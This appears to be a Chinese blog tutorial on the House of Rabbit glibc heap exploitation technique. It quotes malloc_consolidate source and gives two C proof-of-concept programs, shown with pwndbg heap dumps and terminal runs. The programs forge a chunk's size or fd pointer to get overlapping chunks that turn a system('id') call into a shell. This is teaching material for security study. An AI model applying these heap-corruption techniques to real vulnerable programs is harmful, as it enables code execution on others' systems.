House of Rabbit 利用起来比较简单,比unlink之类的好理解很多,而且有时在不需要泄露基地址的情况下,也能起作用。该漏洞对于glibc-2.26以上的glibc,需要先绕过tcache机制。
目录
前导知识
在malloc一个很大的chunk时,glibc会试图将fastbin的chunk进行合并。合并代码:
glibc-2.23/malloc/malloc.c:4199
/* Slightly streamlined version of consolidation code in free() */
size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);
} else
clear_inuse_bit_at_offset(nextchunk, 0);
first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;
if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}
在合并时,先检查下一个chunk是不是top chunk,如果是则直接合并,如果不是还要检查下一个chunk是否使用。
if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);
}
如果不在使用状态的话,则进行合并。
set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
然后更新size,放到unsorted bin中。
情况一:chunk的size可控
正常情况
#include <stdlib.h>
#include <string.h>
int main()
{
char *chunk1, *chunk2;
chunk1 = malloc(24);
chunk2 = malloc(24);
malloc(0x10); // 防止与top chunk合并
free(chunk1);
free(chunk2);
// allocate a large chunk, trigger malloc consolidate
// 申请一块大chunk,即可触发使得两块chunk合并
malloc(0x1000);
return 0;
}
正常情况下,上面的两个chunk会合并成一个size为0x40的chunk。
但当chunk的size可控时,我们可以将size直接设置为0x40,则下次check的nextchunk的时候,就会检查到chunk是在使用状态,而不会进行合并。这样在unsorted Bin中就有两个chunk,而且大的chunk包含着小的chunk。
漏洞举例:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char *controllable_chunk, *temp, *ptr, *sh, *payload;
controllable_chunk = malloc(24); //size: 0x20
temp = malloc(24); //size: 0x20
malloc(0x10); // 防止与top chunk合并
free(controllable_chunk);
free(temp);
// controllable_chunk->size = 0x41
*(long *)(controllable_chunk - 8) = 0x41;
// allocate a large chunk, trigger malloc consolidate
// 申请一块大chunk,即可触发使得两块chunk合并
malloc(0x1000);
sh = malloc(24);
strncpy(sh, "id", 24 - 1);
ptr = malloc(0x40 - 8);
payload = "aaaaaaaaaaaaaaaa" // 16
"aaaaaaaaaaaaaaaa" // 16
"/bin/sh";
strncpy(ptr, payload, 0x40 - 8 - 1);
system(sh);
return 0;
}
在 sh = malloc(24);
处下断点看看其heap状态:
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x20: 0x602020 —▸ 0x7ffff7dd5b88 (main_arena+104) ◂— 0x602020 /* ' `' */
0x40: 0x602000 —▸ 0x7ffff7dd5ba8 (main_arena+136) ◂— 0x602000
largebins
empty
pwndbg> p *(struct malloc_chunk *)0x602000
$1 = {
prev_size = 0,
size = 65,
fd = 0x7ffff7dd5ba8 <main_arena+136>,
bk = 0x7ffff7dd5ba8 <main_arena+136>,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
pwndbg> p *(struct malloc_chunk *)0x602020
$2 = {
prev_size = 0,
size = 33,
fd = 0x7ffff7dd5b88 <main_arena+104>,
bk = 0x7ffff7dd5b88 <main_arena+104>,
fd_nextsize = 0x40,
bk_nextsize = 0x20
}
pwndbg>
可以看出这两个chunk已经重合了,所以会出现漏洞。
运行效果:
ex@ubuntu:~/test$ make 23
gcc -Wl,-dynamic-linker /home/ex/glibc/glibc-2.23/_debug/lib/ld-linux-x86-64.so.2 -g main.c
ex@ubuntu:~/test$ ./a.out
$ echo hello
hello
$ exit
ex@ubuntu:~/test$ make 27
gcc -Wl,-dynamic-linker /home/ex/glibc/glibc-2.27/_debug/lib/ld-linux-x86-64.so.2 -g main.c
ex@ubuntu:~/test$ ./a.out
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ex@ubuntu:~/test$
glibc-2.26以上要先绕过tcache机制。
情况二-chunk的fd指针可控
漏洞举例
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char *controllable_chunk, *sh, *payload;
long long *ptr;
controllable_chunk = malloc(24); //size: 0x20
ptr = malloc(0x100); //size: 0x110
malloc(0x10); // 防止与top chunk合并
ptr[1] = 0x31; //fake chunk size 0x30
ptr[7] = 0x21; //fake chunk's next chunk
ptr[11] = 0x21; //fake chunk's next chunk's next chuck
free(controllable_chunk);
// modify the fd of chunk1
*(void **)controllable_chunk = ptr;
// allocate a large chunk, trigger malloc consolidate
// 申请一块大chunk,即可触发使得两块chunk合并
malloc(0x1000);
sh = malloc(0x30 - 8);
strncpy(sh, "id", 0x30 - 8 - 1);
payload = "aaaaaaaaaaaaaaaa" // 16
"/bin/sh";
strncpy((char *)ptr, payload, 0x100 - 1);
system(sh);
return 0;
}
这种情况和情况一的原理差不多。这里就不赘述了。
感悟-鸡汤
Do well in guiding yourself, rather than controlling yourself, so that you will get twice the result with half the effort, or you will feel very painful.
要善于引导自己,而不是控制自己,这样你会事半功倍,控制自己是很痛苦的事情。